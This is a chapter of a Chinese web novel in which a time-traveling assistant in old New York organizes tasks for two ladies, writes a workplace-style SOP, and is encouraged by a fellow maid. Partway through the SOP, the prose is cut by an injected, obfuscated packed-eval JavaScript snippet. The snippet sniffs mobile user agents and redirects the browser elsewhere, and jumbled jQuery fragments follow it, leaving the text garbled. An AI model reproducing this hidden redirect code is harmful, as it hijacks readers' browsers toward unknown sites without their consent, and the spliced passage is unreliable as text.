安妮从口袋里掏出自制的记事本。
在进入伊迪丝小姐卧房前,她熟练地用钢笔在「核对伊迪丝小姐礼服修改进度」这一项后面画了个勾。
这在她前世是很多人都惯用的方法:把需要完成的事情分成四类——紧急又重要、紧急但不重要、不紧急但重要、不紧急也不重要。这么一来,繁杂的事务有了优先级,顿时变得条理清晰。
她轻轻敲响伊迪丝小姐的房门。
「请进。」
伊迪丝小姐正坐在窗边的扶手椅上,膝上卧着小狗墨西哥。见到安妮,她温和地笑了笑:「安妮,你来啦?瞧,墨西哥刚刚偷吃巧克力,就被你发现了。」
安妮看了眼窗台上的巧克力包装盒,笑着说,「伊迪丝小姐,我听说小狗吃巧克力有害健康。」
墨西哥好似听懂了一般,不满地呜咽起来。伊迪丝拍着小狗,佯装生气地对安妮说,「我们不吃了,都给你,让你吃,我们吃更好,更健康的。」
「墨西哥,我们回头吃肉脯。」伊迪丝从座椅上站起来,抓了一把巧克力塞进安妮手中。
两人逗弄了小狗一会儿,安妮聊起了工作。
「伊迪丝小姐。」安妮翻开小本子,逐项汇报,「礼服已经改好送回;乐谱店说您订的那几份乐谱,从欧洲寄来,估计下周才能到港;慈善义卖会的场地,我也跟主办方确认了。」
在安妮说话的时候,伊迪丝小姐并未发表任何意见,只是一个劲满意地点头。
「还有几件事要麻烦你。」伊迪丝小姐轻轻抚摸着墨西哥的背,「首先,给墨西哥添几个新玩具,旧的那个被它咬坏了。另外,明天我临时有出行安排,遛狗时间要调整到下午三点。」
安妮迅速在本子上记录,金属笔尖在纸上发出沙沙声。
「还有,」伊迪丝小姐稍作停顿,「婉拒霍华德夫人的拜访请求。如果她坚持要来,就说我最近身体不适。」
安妮明白,这位夫人最近热衷于做媒,已经让伊迪丝小姐不胜其烦。她在本子上写下「婉拒霍华德夫人」,并在旁边做了个星号标记。
「最后,」伊迪丝小姐的语气柔和了些,「教堂的慈善义卖会,我想捐几幅自己的画作。你也帮我问问埃莉诺,看她是否愿意提供一些作品。不必强求,全看她的意愿。」
「我这就去问。」安妮将这一项归入「不紧急但重要」的分类。
离开伊迪丝小姐的房间,安妮在待完成的几项任务前认真地标上新序号。看着纸页上整齐的标记,她心里升起一丝满足。
可笑容刚升起,她就压下去了。多么讽刺啊,曾经的她最厌恶的就是这种按部就班,条条框框的生活,如今却在这异时代的磨合中,轻易地获得了安全感和愉悦。她不禁自问:究竟是时代改变了她,还是她骨子里本就渴望着这种确定性?
她到底是怎么了?
带着这份未解的困惑,她穿过走廊。不一会儿,便已经来到埃莉诺的房间门前。门虚掩着,她轻轻推开,看见埃莉诺正和一位高级女仆在整理衣柜。
「安妮!」埃莉诺看到她,眼睛一亮,对女仆点点头,「剩下的我自己来就好。」
女仆默默行礼离开,但在出门前,目光在安妮身上停留了一瞬。那眼神复杂,说不清是好奇还是别的什么。
「看我带来了什么。」安妮笑着将口袋里的巧克力放到桌上,然后掏出小本子,「伊迪丝小姐问,你是否愿意提供一些画作参加教堂的慈善义卖会?」
埃莉诺的脸微微泛红:「我的画……恐怕拿不出手。」
「只是表达善意的方式。」安妮轻声说,「心意比技艺更重要。」
埃莉诺思考片刻,终于点头:「好吧,我找两幅风景画。」
安妮在本子上做好记录,然后继续:「另外,您的宝石胸针,保养工作已经完成了。我收到首饰店的口信,回头就亲自去取。」
「太好了!」埃莉诺松了口气,「那是我最珍视的饰品。」
安妮看的出来,埃莉诺似乎想起了自己的母亲,沉浸在美好的回忆中。过了一会儿,等埃莉诺从自己的思绪中出来,她才翻到新一页,「关于第五大道的淑女俱乐部活动……」
埃莉诺的脸上闪过一丝紧张,「姑妈确定让我独自参加这场活动。参与的全是和我同龄,或者比我大不了多少的女孩儿……」
停顿了一会儿,她接着说,「安妮,我们需要收集一些欧洲时兴话题,还有最近的艺术展览信息。」
「小姐。我们有充足时间提前准备,就像上次那样制作知识卡片,夹在你顺手带的手包或者画册里面。」
埃莉诺点头表示同意,她最后还是苦着脸,「安妮,你陪我一起去好不好?」
安妮毫不犹豫,「当然,我现在身份就是您的事务助理。」
两人凑在一起讨论着需要准备的内容,安妮飞快地记录。她们的交谈自然亲密,不像主仆,更像共同策划项目的伙伴。
当安妮合上小本子准备离开时,埃莉诺忽然想起什么:「对了安妮,记得明天我们和米芙的那个出行约定?」
安妮微笑点头:「当然记得。」
走出房间,一种微妙的被注视感让她望向走廊尽头。
刚才那位高级女仆正在走廊上擦拭花瓶,投向自己的目光快速垂下。但这一次,安妮捕捉到了那眼神中的某种情绪——好似自己和她们不是一个世界的同类,想看看有什么特别。
/
回到阁楼,安妮久久凝视墙面。
墙上贴着——
一份简易SOP!
她很清楚,这个「事务助理」的职位是全新的,职责模糊。两位小姐待人宽厚,如果她不主动,甚至可以清闲度日。但她不能让自己变得可有可无。她需要向两位直属上司,以及更重要的玛蒂尔达夫人证明这个岗位的必要性。
说的更直白些,安妮的打算非常「自私」——没有需求创造需求,没有工作创造工作。
一份清晰的工作标准流程就贴在靠窗的那面墙皮上:
【事务助理标准工作流程】
新闻简报服务:每日早餐前提交,整理重要新闻与社会动态,提炼要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593526|184715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点供小姐们阅览。
社交日程管理:统筹两位小姐的约会、茶会与社交活动,提前准备相关背景资料。
家族事务协调:协助处理与教堂、慈善机构及其他家族的外部联络事宜。
专项事务跟进:按需处理特定任务,如礼服定制、饰品保养、活动筹备等。
需求挖掘与提案:主动观察并识别小姐们未被满足的需求,定期提出改善建议。
她伏在墙面上修改了几笔,然后重新站定。
「把现代职场的一些方法带到一百多年前的纽约,不卷亚洲,卷美洲,不过分吧。」她心虚地想。自己也不搞招人厌恶的所谓「颗粒度对齐」,仅仅是让工作变得清晰、可衡量,简单的工作标准化而已。应该算是为可能的后来者做了一些好事儿吧。
「新闻简报」是她观察到的第一个潜在需求。伊迪丝小姐和埃莉诺小姐都需要掌握社交圈的最新动态,但亲自翻阅大量报纸既耗时又低效。如果她能每日提炼精华,必然能帮她们节省大量时间。
她正思考着还能创造哪些新服务,满足小姐们不曾注意但急待被满足的真实需求时,门上响起了轻快的叩击声。
「安妮!是我,露西!」
安妮开门,露西像只欢快的小鸟钻了进来,脸上洋溢笑容。她将一个用碎布精心缝制的小包裹塞到安妮手里。
「一直想正式恭喜你!但又怕在别人面前说,她们背后又要酸言酸语。这是我亲手做的针线包,里面配了不同颜色的线团和几根应急用的针。我想你肯定用得上!」
安妮接过这份充满心意的礼物,心里涌起一股暖流。
露西好奇地打量着这个小小的独立空间,眼睛亮晶晶的。「天啊,安妮,你这里收拾得真好!」
「哇!这床真大!」
「啊!窗前还种花了!」
她像参观法国国王的凡尔赛宫,对每一样简单的布置都发出赞叹。当她的目光落在墙上的简易SOP流程表时,她歪着头仔细看了好久。
「安妮,这是什么呀?。」
「只是把每天要做的事情整理出来,定个标准。」安妮轻声解释,「这样工作起来不会遗漏,以后万一有别人接手我的工作,也能很快明白该做什么。」
露西安静地看了好一会儿,然后转过身,神情是罕见的认真。
「安妮,没人能替代你。」她握住安妮的手,语气诚挚,「你做的这些事,换个人来根本不会想,也不会去做。你让小姐们越来越依赖你,这是你的本事。」
她顿了顿,眼里满是真挚:「无论你飞到多高的地方,都是你应得的。我绝对不会嫉妒你。」
这句朴素的话语,比任何华丽的赞美都触动人心。
安妮决定回以最大的鼓励。
她问,「露西,我记得你有个弟弟?成绩还不错?」
露西疑惑地点头,不知道安妮为什么突然提到自己家人。
「他可以飞,我可以飞,你也可以,我们都可以飞翔。」
「露西,我们每个人都可以飞向自己的天空。」